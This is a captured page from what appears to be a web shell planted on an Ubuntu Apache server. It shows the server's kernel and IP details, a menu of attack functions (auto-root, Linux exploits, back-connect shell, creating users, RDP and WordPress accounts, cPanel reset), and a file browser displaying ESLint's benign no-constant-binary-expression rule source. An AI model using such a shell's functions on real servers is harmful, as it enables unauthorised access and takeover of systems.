Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
eslint /
lib /
rules /
[ HOME SHELL ]
Name
Size
Permission
Action
utils
[ DIR ]
drwxr-xr-x
accessor-pairs.js
10.95
KB
-rw-r--r--
array-bracket-newline.js
7.93
KB
-rw-r--r--
array-bracket-spacing.js
7.88
KB
-rw-r--r--
array-callback-return.js
12.6
KB
-rw-r--r--
array-element-newline.js
8.86
KB
-rw-r--r--
arrow-body-style.js
10.12
KB
-rw-r--r--
arrow-parens.js
6.95
KB
-rw-r--r--
arrow-spacing.js
4.51
KB
-rw-r--r--
block-scoped-var.js
3.42
KB
-rw-r--r--
block-spacing.js
5.04
KB
-rw-r--r--
brace-style.js
7.41
KB
-rw-r--r--
callback-return.js
5.74
KB
-rw-r--r--
camelcase.js
10.12
KB
-rw-r--r--
capitalized-comments.js
9.07
KB
-rw-r--r--
class-methods-use-this.js
6.24
KB
-rw-r--r--
comma-dangle.js
11.38
KB
-rw-r--r--
comma-spacing.js
5.75
KB
-rw-r--r--
comma-style.js
10
KB
-rw-r--r--
complexity.js
4.89
KB
-rw-r--r--
computed-property-spacing.js
6.55
KB
-rw-r--r--
consistent-return.js
5.6
KB
-rw-r--r--
consistent-this.js
4.33
KB
-rw-r--r--
constructor-super.js
11.77
KB
-rw-r--r--
curly.js
11.48
KB
-rw-r--r--
default-case-last.js
1.08
KB
-rw-r--r--
default-case.js
2.26
KB
-rw-r--r--
default-param-last.js
1.65
KB
-rw-r--r--
dot-location.js
3.32
KB
-rw-r--r--
dot-notation.js
5.08
KB
-rw-r--r--
eol-last.js
3.48
KB
-rw-r--r--
eqeqeq.js
4.76
KB
-rw-r--r--
for-direction.js
4.11
KB
-rw-r--r--
func-call-spacing.js
8.1
KB
-rw-r--r--
func-name-matching.js
8.63
KB
-rw-r--r--
func-names.js
5.01
KB
-rw-r--r--
func-style.js
5.21
KB
-rw-r--r--
function-call-argument-newline...
4.12
KB
-rw-r--r--
function-paren-newline.js
9.96
KB
-rw-r--r--
generator-star-spacing.js
6.17
KB
-rw-r--r--
getter-return.js
5.62
KB
-rw-r--r--
global-require.js
2.78
KB
-rw-r--r--
grouped-accessor-pairs.js
7.08
KB
-rw-r--r--
guard-for-in.js
1.88
KB
-rw-r--r--
handle-callback-err.js
3.17
KB
-rw-r--r--
id-blacklist.js
6.54
KB
-rw-r--r--
id-denylist.js
6.21
KB
-rw-r--r--
id-length.js
5.48
KB
-rw-r--r--
id-match.js
8.99
KB
-rw-r--r--
implicit-arrow-linebreak.js
3.07
KB
-rw-r--r--
indent-legacy.js
34.88
KB
-rw-r--r--
indent.js
64.92
KB
-rw-r--r--
index.js
17.43
KB
-rw-r--r--
init-declarations.js
3.88
KB
-rw-r--r--
jsx-quotes.js
3.07
KB
-rw-r--r--
key-spacing.js
20.77
KB
-rw-r--r--
keyword-spacing.js
19.94
KB
-rw-r--r--
line-comment-position.js
3.65
KB
-rw-r--r--
linebreak-style.js
3.49
KB
-rw-r--r--
lines-around-comment.js
15.13
KB
-rw-r--r--
lines-around-directive.js
6.85
KB
-rw-r--r--
lines-between-class-members.js
9.89
KB
-rw-r--r--
logical-assignment-operators.j...
18.6
KB
-rw-r--r--
max-classes-per-file.js
1.81
KB
-rw-r--r--
max-depth.js
3.55
KB
-rw-r--r--
max-len.js
13.33
KB
-rw-r--r--
max-lines-per-function.js
5.91
KB
-rw-r--r--
max-lines.js
4.3
KB
-rw-r--r--
max-nested-callbacks.js
2.63
KB
-rw-r--r--
max-params.js
3
KB
-rw-r--r--
max-statements-per-line.js
6.58
KB
-rw-r--r--
max-statements.js
4.47
KB
-rw-r--r--
multiline-comment-style.js
17.96
KB
-rw-r--r--
multiline-ternary.js
6.39
KB
-rw-r--r--
new-cap.js
7.04
KB
-rw-r--r--
new-parens.js
3.09
KB
-rw-r--r--
newline-after-var.js
8.64
KB
-rw-r--r--
newline-before-return.js
6.96
KB
-rw-r--r--
newline-per-chained-call.js
3.79
KB
-rw-r--r--
no-alert.js
3.75
KB
-rw-r--r--
no-array-constructor.js
4.88
KB
-rw-r--r--
no-async-promise-executor.js
1007
B
-rw-r--r--
no-await-in-loop.js
2.44
KB
-rw-r--r--
no-bitwise.js
2.88
KB
-rw-r--r--
no-buffer-constructor.js
1.82
KB
-rw-r--r--
no-caller.js
1.06
KB
-rw-r--r--
no-case-declarations.js
1.82
KB
-rw-r--r--
no-catch-shadow.js
2.45
KB
-rw-r--r--
no-class-assign.js
1.53
KB
-rw-r--r--
no-compare-neg-zero.js
1.62
KB
-rw-r--r--
no-cond-assign.js
4.72
KB
-rw-r--r--
no-confusing-arrow.js
3.16
KB
-rw-r--r--
no-console.js
6.09
KB
-rw-r--r--
no-const-assign.js
1.8
KB
-rw-r--r--
no-constant-binary-expression....
17.72
KB
-rw-r--r--
no-constant-condition.js
4.36
KB
-rw-r--r--
no-constructor-return.js
1.16
KB
-rw-r--r--
no-continue.js
784
B
-rw-r--r--
no-control-regex.js
3.74
KB
-rw-r--r--
no-debugger.js
793
B
-rw-r--r--
no-delete-var.js
852
B
-rw-r--r--
no-div-regex.js
1.22
KB
-rw-r--r--
no-dupe-args.js
1.95
KB
-rw-r--r--
no-dupe-class-members.js
2.82
KB
-rw-r--r--
no-dupe-else-if.js
4.1
KB
-rw-r--r--
no-dupe-keys.js
3.87
KB
-rw-r--r--
no-duplicate-case.js
1.72
KB
-rw-r--r--
no-duplicate-imports.js
9.79
KB
-rw-r--r--
no-else-return.js
13.09
KB
-rw-r--r--
no-empty-character-class.js
1.89
KB
-rw-r--r--
no-empty-function.js
5.22
KB
-rw-r--r--
no-empty-pattern.js
1.8
KB
-rw-r--r--
no-empty-static-block.js
1007
B
-rw-r--r--
no-empty.js
2.39
KB
-rw-r--r--
no-eq-null.js
1.09
KB
-rw-r--r--
no-eval.js
7.34
KB
-rw-r--r--
no-ex-assign.js
1.27
KB
-rw-r--r--
no-extend-native.js
5.29
KB
-rw-r--r--
no-extra-bind.js
5.87
KB
-rw-r--r--
no-extra-boolean-cast.js
10.34
KB
-rw-r--r--
no-extra-label.js
4.17
KB
-rw-r--r--
no-extra-parens.js
42.57
KB
-rw-r--r--
no-extra-semi.js
4.52
KB
-rw-r--r--
no-fallthrough.js
6.8
KB
-rw-r--r--
no-floating-decimal.js
2.51
KB
-rw-r--r--
no-func-assign.js
1.82
KB
-rw-r--r--
no-global-assign.js
2.37
KB
-rw-r--r--
no-implicit-coercion.js
12.3
KB
-rw-r--r--
no-implicit-globals.js
4.52
KB
-rw-r--r--
no-implied-eval.js
4.24
KB
-rw-r--r--
no-import-assign.js
6.03
KB
-rw-r--r--
no-inline-comments.js
2.63
KB
-rw-r--r--
no-inner-declarations.js
3.15
KB
-rw-r--r--
no-invalid-regexp.js
5.82
KB
-rw-r--r--
no-invalid-this.js
4.38
KB
-rw-r--r--
no-irregular-whitespace.js
7.67
KB
-rw-r--r--
no-iterator.js
1.08
KB
-rw-r--r--
no-label-var.js
2.01
KB
-rw-r--r--
no-labels.js
3.29
KB
-rw-r--r--
no-lone-blocks.js
3.24
KB
-rw-r--r--
no-lonely-if.js
3.23
KB
-rw-r--r--
no-loop-func.js
6.87
KB
-rw-r--r--
no-loss-of-precision.js
6.91
KB
-rw-r--r--
no-magic-numbers.js
10.33
KB
-rw-r--r--
no-misleading-character-class....
15.96
KB
-rw-r--r--
no-mixed-operators.js
6.98
KB
-rw-r--r--
no-mixed-requires.js
6.23
KB
-rw-r--r--
no-mixed-spaces-and-tabs.js
3.3
KB
-rw-r--r--
no-multi-assign.js
1.3
KB
-rw-r--r--
no-multi-spaces.js
4.48
KB
-rw-r--r--
no-multi-str.js
1.57
KB
-rw-r--r--
no-multiple-empty-lines.js
5.45
KB
-rw-r--r--
no-native-reassign.js
2.7
KB
-rw-r--r--
no-negated-condition.js
2.37
KB
-rw-r--r--
no-negated-in-lhs.js
1.3
KB
-rw-r--r--
no-nested-ternary.js
960
B
-rw-r--r--
no-new-func.js
2.34
KB
-rw-r--r--
no-new-native-nonconstructor.j...
1.71
KB
-rw-r--r--
no-new-object.js
1.82
KB
-rw-r--r--
no-new-require.js
1.55
KB
-rw-r--r--
no-new-symbol.js
1.69
KB
-rw-r--r--
no-new-wrappers.js
1.43
KB
-rw-r--r--
no-new.js
905
B
-rw-r--r--
no-nonoctal-decimal-escape.js
4.46
KB
-rw-r--r--
no-obj-calls.js
2.41
KB
-rw-r--r--
no-object-constructor.js
2.85
KB
-rw-r--r--
no-octal-escape.js
1.15
KB
-rw-r--r--
no-octal.js
851
B
-rw-r--r--
no-param-reassign.js
6.21
KB
-rw-r--r--
no-path-concat.js
1.96
KB
-rw-r--r--
no-plusplus.js
2.61
KB
-rw-r--r--
no-process-env.js
1.6
KB
-rw-r--r--
no-process-exit.js
1.69
KB
-rw-r--r--
no-promise-executor-return.js
6.52
KB
-rw-r--r--
no-proto.js
1.07
KB
-rw-r--r--
no-prototype-builtins.js
4.61
KB
-rw-r--r--
no-redeclare.js
4.32
KB
-rw-r--r--
no-regex-spaces.js
5.15
KB
-rw-r--r--
no-restricted-exports.js
5.5
KB
-rw-r--r--
no-restricted-globals.js
3.72
KB
-rw-r--r--
no-restricted-imports.js
19.02
KB
-rw-r--r--
no-restricted-modules.js
5.98
KB
-rw-r--r--
no-restricted-properties.js
5.81
KB
-rw-r--r--
no-restricted-syntax.js
1.66
KB
-rw-r--r--
no-return-assign.js
2.21
KB
-rw-r--r--
no-return-await.js
4.35
KB
-rw-r--r--
no-script-url.js
1.48
KB
-rw-r--r--
no-self-assign.js
4.56
KB
-rw-r--r--
no-self-compare.js
1.67
KB
-rw-r--r--
no-sequences.js
3.92
KB
-rw-r--r--
no-setter-return.js
5.59
KB
-rw-r--r--
no-shadow-restricted-names.js
2.61
KB
-rw-r--r--
no-shadow.js
16.95
KB
-rw-r--r--
no-spaced-func.js
2.54
KB
-rw-r--r--
no-sparse-arrays.js
1.45
KB
-rw-r--r--
no-sync.js
1.84
KB
-rw-r--r--
no-tabs.js
2.39
KB
-rw-r--r--
no-template-curly-in-string.js
989
B
-rw-r--r--
no-ternary.js
785
B
-rw-r--r--
no-this-before-super.js
8.83
KB
-rw-r--r--
no-throw-literal.js
1.06
KB
-rw-r--r--
no-trailing-spaces.js
5.91
KB
-rw-r--r--
no-unassigned-vars.js
1.92
KB
-rw-r--r--
no-undef-init.js
2.35
KB
-rw-r--r--
no-undef.js
1.85
KB
-rw-r--r--
no-undefined.js
1.82
KB
-rw-r--r--
no-underscore-dangle.js
9.31
KB
-rw-r--r--
no-unexpected-multiline.js
3.4
KB
-rw-r--r--
no-unmodified-loop-condition.j...
9.8
KB
-rw-r--r--
no-unneeded-ternary.js
5.8
KB
-rw-r--r--
no-unreachable-loop.js
4.96
KB
-rw-r--r--
no-unreachable.js
7.32
KB
-rw-r--r--
no-unsafe-finally.js
3.26
KB
-rw-r--r--
no-unsafe-negation.js
3.88
KB
-rw-r--r--
no-unsafe-optional-chaining.js
5.26
KB
-rw-r--r--
no-unused-expressions.js
5.39
KB
-rw-r--r--
no-unused-labels.js
3.79
KB
-rw-r--r--
no-unused-private-class-member...
6.13
KB
-rw-r--r--
no-unused-vars.js
47.41
KB
-rw-r--r--
no-use-before-define.js
11.59
KB
-rw-r--r--
no-useless-assignment.js
18.88
KB
-rw-r--r--
no-useless-backreference.js
7.48
KB
-rw-r--r--
no-useless-call.js
2.71
KB
-rw-r--r--
no-useless-catch.js
1.28
KB
-rw-r--r--
no-useless-computed-key.js
5.8
KB
-rw-r--r--
no-useless-concat.js
2.9
KB
-rw-r--r--
no-useless-constructor.js
6.82
KB
-rw-r--r--
no-useless-escape.js
10.81
KB
-rw-r--r--
no-useless-rename.js
4.81
KB
-rw-r--r--
no-useless-return.js
11.67
KB
-rw-r--r--
no-var.js
11.19
KB
-rw-r--r--
no-void.js
1.33
KB
-rw-r--r--
no-warning-comments.js
5.54
KB
-rw-r--r--
no-whitespace-before-property....
3.79
KB
-rw-r--r--
no-with.js
757
B
-rw-r--r--
nonblock-statement-body-positi...
4.31
KB
-rw-r--r--
object-curly-newline.js
9.88
KB
-rw-r--r--
object-curly-spacing.js
10.16
KB
-rw-r--r--
object-property-newline.js
3.67
KB
-rw-r--r--
object-shorthand.js
17.59
KB
-rw-r--r--
one-var-declaration-per-line.j...
2.92
KB
-rw-r--r--
one-var.js
17.5
KB
-rw-r--r--
operator-assignment.js
7.36
KB
-rw-r--r--
operator-linebreak.js
8.69
KB
-rw-r--r--
padded-blocks.js
8.7
KB
-rw-r--r--
padding-line-between-statement...
16.59
KB
-rw-r--r--
prefer-arrow-callback.js
11.39
KB
-rw-r--r--
prefer-const.js
15.41
KB
-rw-r--r--
prefer-destructuring.js
8.72
KB
-rw-r--r--
prefer-exponentiation-operator...
6.57
KB
-rw-r--r--
prefer-named-capture-group.js
4.93
KB
-rw-r--r--
prefer-numeric-literals.js
4.4
KB
-rw-r--r--
prefer-object-has-own.js
3.71
KB
-rw-r--r--
prefer-object-spread.js
9.27
KB
-rw-r--r--
prefer-promise-reject-errors.j...
4.51
KB
-rw-r--r--
prefer-reflect.js
3.74
KB
-rw-r--r--
prefer-regex-literals.js
14.05
KB
-rw-r--r--
prefer-rest-params.js
2.96
KB
-rw-r--r--
prefer-spread.js
2.5
KB
-rw-r--r--
prefer-template.js
10.29
KB
-rw-r--r--
quote-props.js
9.89
KB
-rw-r--r--
quotes.js
10.68
KB
-rw-r--r--
radix.js
5.42
KB
-rw-r--r--
require-atomic-updates.js
9.08
KB
-rw-r--r--
require-await.js
4.46
KB
-rw-r--r--
require-unicode-regexp.js
7.57
KB
-rw-r--r--
require-yield.js
1.68
KB
-rw-r--r--
rest-spread-spacing.js
3.65
KB
-rw-r--r--
semi-spacing.js
7.21
KB
-rw-r--r--
semi-style.js
5.12
KB
-rw-r--r--
semi.js
13.01
KB
-rw-r--r--
sort-imports.js
8.4
KB
-rw-r--r--
sort-keys.js
5.74
KB
-rw-r--r--
sort-vars.js
3.24
KB
-rw-r--r--
space-before-blocks.js
6.18
KB
-rw-r--r--
space-before-function-paren.js
5.13
KB
-rw-r--r--
space-in-parens.js
9.1
KB
-rw-r--r--
space-infix-ops.js
5.75
KB
-rw-r--r--
space-unary-ops.js
10.39
KB
-rw-r--r--
spaced-comment.js
10.98
KB
-rw-r--r--
strict.js
8.91
KB
-rw-r--r--
switch-colon-spacing.js
4.59
KB
-rw-r--r--
symbol-description.js
1.66
KB
-rw-r--r--
template-curly-spacing.js
4.24
KB
-rw-r--r--
template-tag-spacing.js
2.99
KB
-rw-r--r--
unicode-bom.js
1.68
KB
-rw-r--r--
use-isnan.js
6.96
KB
-rw-r--r--
valid-typeof.js
4.16
KB
-rw-r--r--
vars-on-top.js
4.2
KB
-rw-r--r--
wrap-iife.js
6.75
KB
-rw-r--r--
wrap-regex.js
2.12
KB
-rw-r--r--
yield-star-spacing.js
3.9
KB
-rw-r--r--
yoda.js
9.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : no-constant-binary-expression.js
/** * @fileoverview Rule to flag constant comparisons and logical expressions that always/never short circuit * @author Jordan Eldredge <https://jordaneldredge.com> */ "use strict"; const { isNullLiteral, isConstant, isReferenceToGlobalVariable, isLogicalAssignmentOperator, ECMASCRIPT_GLOBALS, } = require("./utils/ast-utils"); const NUMERIC_OR_STRING_BINARY_OPERATORS = new Set([ "+", "-", "*", "/", "%", "|", "^", "&", "**", "<<", ">>", ">>>", ]); //------------------------------------------------------------------------------ // Helpers //------------------------------------------------------------------------------ /** * Checks whether or not a node is `null` or `undefined`. Similar to the one * found in ast-utils.js, but this one correctly handles the edge case that * `undefined` has been redefined. * @param {Scope} scope Scope in which the expression was found. * @param {ASTNode} node A node to check. * @returns {boolean} Whether or not the node is a `null` or `undefined`. * @public */ function isNullOrUndefined(scope, node) { return ( isNullLiteral(node) || (node.type === "Identifier" && node.name === "undefined" && isReferenceToGlobalVariable(scope, node)) || (node.type === "UnaryExpression" && node.operator === "void") ); } /** * Test if an AST node has a statically knowable constant nullishness. Meaning, * it will always resolve to a constant value of either: `null`, `undefined` * or not `null` _or_ `undefined`. An expression that can vary between those * three states at runtime would return `false`. * @param {Scope} scope The scope in which the node was found. * @param {ASTNode} node The AST node being tested. * @param {boolean} nonNullish if `true` then nullish values are not considered constant. * @returns {boolean} Does `node` have constant nullishness? */ function hasConstantNullishness(scope, node, nonNullish) { if (nonNullish && isNullOrUndefined(scope, node)) { return false; } switch (node.type) { case "ObjectExpression": // Objects are never nullish case "ArrayExpression": // Arrays are never nullish case "ArrowFunctionExpression": // Functions never nullish case "FunctionExpression": // Functions are never nullish case "ClassExpression": // Classes are never nullish case "NewExpression": // Objects are never nullish case "Literal": // Nullish, or non-nullish, literals never change case "TemplateLiteral": // A string is never nullish case "UpdateExpression": // Numbers are never nullish case "BinaryExpression": // Numbers, strings, or booleans are never nullish return true; case "CallExpression": { if (node.callee.type !== "Identifier") { return false; } const functionName = node.callee.name; return ( (functionName === "Boolean" || functionName === "String" || functionName === "Number") && isReferenceToGlobalVariable(scope, node.callee) ); } case "LogicalExpression": { return ( node.operator === "??" && hasConstantNullishness(scope, node.right, true) ); } case "AssignmentExpression": if (node.operator === "=") { return hasConstantNullishness(scope, node.right, nonNullish); } /* * Handling short-circuiting assignment operators would require * walking the scope. We won't attempt that (for now...) / */ if (isLogicalAssignmentOperator(node.operator)) { return false; } /* * The remaining assignment expressions all result in a numeric or * string (non-nullish) value: * "+=", "-=", "*=", "/=", "%=", "<<=", ">>=", ">>>=", "|=", "^=", "&=" */ return true; case "UnaryExpression": /* * "void" Always returns `undefined` * "typeof" All types are strings, and thus non-nullish * "!" Boolean is never nullish * "delete" Returns a boolean, which is never nullish * Math operators always return numbers or strings, neither of which * are non-nullish "+", "-", "~" */ return true; case "SequenceExpression": { const last = node.expressions.at(-1); return hasConstantNullishness(scope, last, nonNullish); } case "Identifier": return ( node.name === "undefined" && isReferenceToGlobalVariable(scope, node) ); case "JSXElement": // ESLint has a policy of not assuming any specific JSX behavior. case "JSXFragment": return false; default: return false; } } /** * Test if an AST node is a boolean value that never changes. Specifically we * test for: * 1. Literal booleans (`true` or `false`) * 2. Unary `!` expressions with a constant value * 3. Constant booleans created via the `Boolean` global function * @param {Scope} scope The scope in which the node was found. * @param {ASTNode} node The node to test * @returns {boolean} Is `node` guaranteed to be a boolean? */ function isStaticBoolean(scope, node) { switch (node.type) { case "Literal": return typeof node.value === "boolean"; case "CallExpression": return ( node.callee.type === "Identifier" && node.callee.name === "Boolean" && isReferenceToGlobalVariable(scope, node.callee) && (node.arguments.length === 0 || isConstant(scope, node.arguments[0], true)) ); case "UnaryExpression": return ( node.operator === "!" && isConstant(scope, node.argument, true) ); default: return false; } } /** * Test if an AST node will always give the same result when compared to a * boolean value. Note that comparison to boolean values is different than * truthiness. * https://262.ecma-international.org/5.1/#sec-11.9.3 * * JavaScript `==` operator works by converting the boolean to `1` (true) or * `+0` (false) and then checks the values `==` equality to that number. * @param {Scope} scope The scope in which node was found. * @param {ASTNode} node The node to test. * @returns {boolean} Will `node` always coerce to the same boolean value? */ function hasConstantLooseBooleanComparison(scope, node) { switch (node.type) { case "ObjectExpression": case "ClassExpression": /** * In theory objects like: * * `{toString: () => a}` * `{valueOf: () => a}` * * Or a classes like: * * `class { static toString() { return a } }` * `class { static valueOf() { return a } }` * * Are not constant verifiably when `inBooleanPosition` is * false, but it's an edge case we've opted not to handle. */ return true; case "ArrayExpression": { const nonSpreadElements = node.elements.filter( e => // Elements can be `null` in sparse arrays: `[,,]`; e !== null && e.type !== "SpreadElement", ); /* * Possible future direction if needed: We could check if the * single value would result in variable boolean comparison. * For now we will err on the side of caution since `[x]` could * evaluate to `[0]` or `[1]`. */ return node.elements.length === 0 || nonSpreadElements.length > 1; } case "ArrowFunctionExpression": case "FunctionExpression": return true; case "UnaryExpression": if ( node.operator === "void" || // Always returns `undefined` node.operator === "typeof" // All `typeof` strings, when coerced to number, are not 0 or 1. ) { return true; } if (node.operator === "!") { return isConstant(scope, node.argument, true); } /* * We won't try to reason about +, -, ~, or delete * In theory, for the mathematical operators, we could look at the * argument and try to determine if it coerces to a constant numeric * value. */ return false; case "NewExpression": // Objects might have custom `.valueOf` or `.toString`. return false; case "CallExpression": { if ( node.callee.type === "Identifier" && node.callee.name === "Boolean" && isReferenceToGlobalVariable(scope, node.callee) ) { return ( node.arguments.length === 0 || isConstant(scope, node.arguments[0], true) ); } return false; } case "Literal": // True or false, literals never change return true; case "Identifier": return ( node.name === "undefined" && isReferenceToGlobalVariable(scope, node) ); case "TemplateLiteral": /* * In theory we could try to check if the quasi are sufficient to * prove that the expression will always be true, but it would be * tricky to get right. For example: `000.${foo}000` */ return node.expressions.length === 0; case "AssignmentExpression": if (node.operator === "=") { return hasConstantLooseBooleanComparison(scope, node.right); } /* * Handling short-circuiting assignment operators would require * walking the scope. We won't attempt that (for now...) * * The remaining assignment expressions all result in a numeric or * string (non-nullish) values which could be truthy or falsy: * "+=", "-=", "*=", "/=", "%=", "<<=", ">>=", ">>>=", "|=", "^=", "&=" */ return false; case "SequenceExpression": { const last = node.expressions.at(-1); return hasConstantLooseBooleanComparison(scope, last); } case "JSXElement": // ESLint has a policy of not assuming any specific JSX behavior. case "JSXFragment": return false; default: return false; } } /** * Test if an AST node will always give the same result when _strictly_ compared * to a boolean value. This can happen if the expression can never be boolean, or * if it is always the same boolean value. * @param {Scope} scope The scope in which the node was found. * @param {ASTNode} node The node to test * @returns {boolean} Will `node` always give the same result when compared to a * static boolean value? */ function hasConstantStrictBooleanComparison(scope, node) { switch (node.type) { case "ObjectExpression": // Objects are not booleans case "ArrayExpression": // Arrays are not booleans case "ArrowFunctionExpression": // Functions are not booleans case "FunctionExpression": case "ClassExpression": // Classes are not booleans case "NewExpression": // Objects are not booleans case "TemplateLiteral": // Strings are not booleans case "Literal": // True, false, or not boolean, literals never change. case "UpdateExpression": // Numbers are not booleans return true; case "BinaryExpression": return NUMERIC_OR_STRING_BINARY_OPERATORS.has(node.operator); case "UnaryExpression": { if (node.operator === "delete") { return false; } if (node.operator === "!") { return isConstant(scope, node.argument, true); } /* * The remaining operators return either strings or numbers, neither * of which are boolean. */ return true; } case "SequenceExpression": { const last = node.expressions.at(-1); return hasConstantStrictBooleanComparison(scope, last); } case "Identifier": return ( node.name === "undefined" && isReferenceToGlobalVariable(scope, node) ); case "AssignmentExpression": if (node.operator === "=") { return hasConstantStrictBooleanComparison(scope, node.right); } /* * Handling short-circuiting assignment operators would require * walking the scope. We won't attempt that (for now...) */ if (isLogicalAssignmentOperator(node.operator)) { return false; } /* * The remaining assignment expressions all result in either a number * or a string, neither of which can ever be boolean. */ return true; case "CallExpression": { if (node.callee.type !== "Identifier") { return false; } const functionName = node.callee.name; if ( (functionName === "String" || functionName === "Number") && isReferenceToGlobalVariable(scope, node.callee) ) { return true; } if ( functionName === "Boolean" && isReferenceToGlobalVariable(scope, node.callee) ) { return ( node.arguments.length === 0 || isConstant(scope, node.arguments[0], true) ); } return false; } case "JSXElement": // ESLint has a policy of not assuming any specific JSX behavior. case "JSXFragment": return false; default: return false; } } /** * Test if an AST node will always result in a newly constructed object * @param {Scope} scope The scope in which the node was found. * @param {ASTNode} node The node to test * @returns {boolean} Will `node` always be new? */ function isAlwaysNew(scope, node) { switch (node.type) { case "ObjectExpression": case "ArrayExpression": case "ArrowFunctionExpression": case "FunctionExpression": case "ClassExpression": return true; case "NewExpression": { if (node.callee.type !== "Identifier") { return false; } /* * All the built-in constructors are always new, but * user-defined constructors could return a sentinel * object. * * Catching these is especially useful for primitive constructors * which return boxed values, a surprising gotcha' in JavaScript. */ return ( Object.hasOwn(ECMASCRIPT_GLOBALS, node.callee.name) && isReferenceToGlobalVariable(scope, node.callee) ); } case "Literal": // Regular expressions are objects, and thus always new return typeof node.regex === "object"; case "SequenceExpression": { const last = node.expressions.at(-1); return isAlwaysNew(scope, last); } case "AssignmentExpression": if (node.operator === "=") { return isAlwaysNew(scope, node.right); } return false; case "ConditionalExpression": return ( isAlwaysNew(scope, node.consequent) && isAlwaysNew(scope, node.alternate) ); case "JSXElement": // ESLint has a policy of not assuming any specific JSX behavior. case "JSXFragment": return false; default: return false; } } /** * Checks if one operand will cause the result to be constant. * @param {Scope} scope Scope in which the expression was found. * @param {ASTNode} a One side of the expression * @param {ASTNode} b The other side of the expression * @param {string} operator The binary expression operator * @returns {ASTNode | null} The node which will cause the expression to have a constant result. */ function findBinaryExpressionConstantOperand(scope, a, b, operator) { if (operator === "==" || operator === "!=") { if ( (isNullOrUndefined(scope, a) && hasConstantNullishness(scope, b, false)) || (isStaticBoolean(scope, a) && hasConstantLooseBooleanComparison(scope, b)) ) { return b; } } else if (operator === "===" || operator === "!==") { if ( (isNullOrUndefined(scope, a) && hasConstantNullishness(scope, b, false)) || (isStaticBoolean(scope, a) && hasConstantStrictBooleanComparison(scope, b)) ) { return b; } } return null; } //------------------------------------------------------------------------------ // Rule Definition //------------------------------------------------------------------------------ /** @type {import('../types').Rule.RuleModule} */ module.exports = { meta: { type: "problem", docs: { description: "Disallow expressions where the operation doesn't affect the value", recommended: true, url: "https://eslint.org/docs/latest/rules/no-constant-binary-expression", }, schema: [], messages: { constantBinaryOperand: "Unexpected constant binary expression. Compares constantly with the {{otherSide}}-hand side of the `{{operator}}`.", constantShortCircuit: "Unexpected constant {{property}} on the left-hand side of a `{{operator}}` expression.", alwaysNew: "Unexpected comparison to newly constructed object. These two values can never be equal.", bothAlwaysNew: "Unexpected comparison of two newly constructed objects. These two values can never be equal.", }, }, create(context) { const sourceCode = context.sourceCode; return { LogicalExpression(node) { const { operator, left } = node; const scope = sourceCode.getScope(node); if ( (operator === "&&" || operator === "||") && isConstant(scope, left, true) ) { context.report({ node: left, messageId: "constantShortCircuit", data: { property: "truthiness", operator }, }); } else if ( operator === "??" && hasConstantNullishness(scope, left, false) ) { context.report({ node: left, messageId: "constantShortCircuit", data: { property: "nullishness", operator }, }); } }, BinaryExpression(node) { const scope = sourceCode.getScope(node); const { right, left, operator } = node; const rightConstantOperand = findBinaryExpressionConstantOperand( scope, left, right, operator, ); const leftConstantOperand = findBinaryExpressionConstantOperand( scope, right, left, operator, ); if (rightConstantOperand) { context.report({ node: rightConstantOperand, messageId: "constantBinaryOperand", data: { operator, otherSide: "left" }, }); } else if (leftConstantOperand) { context.report({ node: leftConstantOperand, messageId: "constantBinaryOperand", data: { operator, otherSide: "right" }, }); } else if (operator === "===" || operator === "!==") { if (isAlwaysNew(scope, left)) { context.report({ node: left, messageId: "alwaysNew" }); } else if (isAlwaysNew(scope, right)) { context.report({ node: right, messageId: "alwaysNew" }); } } else if (operator === "==" || operator === "!=") { /* * If both sides are "new", then both sides are objects and * therefore they will be compared by reference even with `==` * equality. */ if (isAlwaysNew(scope, left) && isAlwaysNew(scope, right)) { context.report({ node: left, messageId: "bothAlwaysNew", }); } } }, /* * In theory we could handle short-circuiting assignment operators, * for some constant values, but that would require walking the * scope to find the value of the variable being assigned. This is * dependent on https://github.com/eslint/eslint/issues/13776 * * AssignmentExpression() {}, */ }; }, };
Close